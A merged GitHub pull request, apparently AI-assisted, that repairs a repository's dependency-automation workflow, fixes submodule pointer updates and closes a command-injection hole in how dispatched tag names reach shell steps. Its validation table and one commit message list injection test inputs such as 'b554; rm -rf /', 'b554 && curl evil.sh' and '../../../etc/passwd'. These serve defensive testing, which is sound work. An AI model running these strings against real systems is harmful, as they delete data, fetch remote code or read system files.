Skip to content

fix: make the dependency automation work without a PAT - #140

Merged
solderzzc merged 2 commits into
mainfrom
fix/dependency-automation-push-branch
Aug 12, 2026
Merged

fix: make the dependency automation work without a PAT#140
solderzzc merged 2 commits into
mainfrom
fix/dependency-automation-push-branch

Conversation

@solderzzc

Copy link
Copy Markdown
Member

Dependency Automation has failed all 12 times it has run since 2026-04-27. It has never once succeeded. Same error every time:

##[error]Input 'token' not supplied. Unable to continue.

Create Pull Request reads secrets.SWIFTLM_PR_TOKEN, which isn't set in this repo. The dispatch side is healthy — mlx-swift-lm's auto_release does hold a token that can dispatch cross-repo — so the event arrives, the job runs, does its work, and dies on the last step. Three of those failures were this week's merges.

Why not just add the secret

A workflow needs a PAT to open a PR usefully, because GitHub does not start workflow runs for events raised by GITHUB_TOKEN. A bot-opened PR would arrive with no checks at all — permanently pending, never green — and release.yml gates releases on CI concluding successfully. Adding a token with GITHUB_TOKEN semantics would trade a visible red X for an invisible gap in the release gate.

So this stops at a pushed branch and puts a compare link in the job summary. Opening the PR yourself is one click and gets real CI, because the event is then yours.

That a human sees the bump first isn't a consolation prize. Bumps in this repo have needed a pointer check, an umbrella build and a smoke test before they were trustworthy — #138 needed all three. This does the mechanical part and leaves the judgement.

Three more bugs fixed while in here

The mlx-swift path was a no-op even with a working token. It ran swift package update mlx-swift, but both dependencies are .package(path: "./…") local paths backed by submodules, and SwiftPM uses whatever is on disk for a path dependency. It could only ever have committed nothing. Both are now handled as the pointer moves they are.

Command injection. client_payload was interpolated directly into run: blocks, so a crafted new_tag would have been executed rather than compared. Anything able to dispatch to this repo chooses those strings. They're now validated and passed through the environment. Verified:

input result
b554, b459, v1.2.3 accepted
b554; rm -rf / rejected
$(whoami) rejected
b554 && curl evil.sh rejected
../../../etc/passwd rejected
-x, empty rejected
source_repo: evil-repo rejected

Empty commits on re-dispatch. A repeat dispatch for a tag already checked out produced a commit with no change; that now reports and stops.

Verification

Ran the submodule logic against the real repository:

  • already-current tag (b500) → no-op path taken
  • nonexistent tag (b99999) → clean error, non-zero exit
  • real older tag (b497) → computes bfc2462b320bc4

YAML parses; step conditions confirmed. The workflow itself can only be exercised end to end by a real repository_dispatch, so the next mlx-swift-lm release is its first live run — worth watching for.

Note there are five stale auto-update/* branches from an era when this worked; this PR doesn't touch them.

🤖 Generated with Claude Code

solderzzc and others added 2 commits August 11, 2026 21:30
Points at bfc2462, which brings two things:

- SharpAI/mlx-swift-lm#48 — glm_moe_dsa / deepseek_v3_2 load and run with
  dense attention (stage 1 of #111). GLM-5.2 is DeepSeek V3.2, whose indexer
  is inert below index_topk (2048), so output is exact for the first 2048
  positions of context and diverges beyond them. That is enough to exercise
  --stream-experts against the 308GB checkpoint, which is what the issue
  actually asks for.
- SharpAI/mlx-swift-lm#47 — the all-KV-shared assistant regression tests,
  which had not been picked up by a bump yet.

#48 also generalises a latent trap in DeepseekV3.sanitize, which dropped
`model.layers.61` by string literal. That number is just numHiddenLayers; on
GLM-5.2's 78 layers it would have deleted a real layer while keeping the MTP
block.

Verified past the registry: pointing the binary at a glm_moe_dsa config
constructs the model and fails only on absent weights —

    Key model.embed_tokens.weight not found in
    DeepseekV32Model.DeepseekV3ModelInner.Embedding

so the architecture is reachable end to end, not merely registered. No real
weights have been run: the smallest glm_moe_dsa checkpoint is 308GB.

Refs #111

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Dependency Automation has failed all 12 times it has run since 2026-04-27 —
it has never once succeeded. Every failure is the same:

    ##[error]Input 'token' not supplied. Unable to continue.

The Create Pull Request step reads secrets.SWIFTLM_PR_TOKEN, which is not set
in this repository. The dispatch side is fine: mlx-swift-lm's auto_release
does hold a token that can dispatch cross-repo, so the event arrives and the
job runs, does its work, and dies at the last step.

Rather than add the secret, stop trying to open the PR. A workflow needs a
personal access token to open one usefully because GitHub does not start
workflow runs for events raised by GITHUB_TOKEN — a bot-opened PR would arrive
with no checks at all, permanently pending rather than green, and release.yml
gates releases on CI concluding successfully. A pushed branch plus a compare
link in the job summary costs one click and gets real CI, because the PR event
is then the human's.

Keeping a human in that loop is not a consolation prize. Bumps here have
needed a pointer check, an umbrella build and a smoke test before they were
trustworthy; this does the mechanical part and leaves the judgement.

Three further problems fixed while in here:

- The mlx-swift branch ran `swift package update mlx-swift`, which does
  nothing: both dependencies are `.package(path: "./…")` local paths backed by
  submodules, and SwiftPM takes whatever is on disk for a path dependency. It
  could only ever have produced an empty commit. Both are now handled the same
  way, as the pointer move they are.

- client_payload was interpolated straight into run blocks, so a crafted
  new_tag would have been executed rather than compared. Values are now
  validated (source_repo against an allowlist, new_tag against a plain-tag
  pattern) and passed through the environment. Verified rejecting
  `b554; rm -rf /`, `$(whoami)`, `b554 && curl evil.sh`, `../../../etc/passwd`,
  `-x` and empty, while accepting b554, b459 and v1.2.3.

- A re-dispatch for a tag already checked out produced an empty commit; that
  case now reports and stops.

Exercised against the real submodule: an already-current tag (b500) takes the
no-op path, a nonexistent tag (b99999) fails with a clear message, and a real
older tag (b497) computes bfc2462 → b320bc4.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
@solderzzc
solderzzc merged commit 3f76801 into main Aug 12, 2026
13 checks passed
@solderzzc
solderzzc deleted the fix/dependency-automation-push-branch branch August 12, 2026 19:28
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant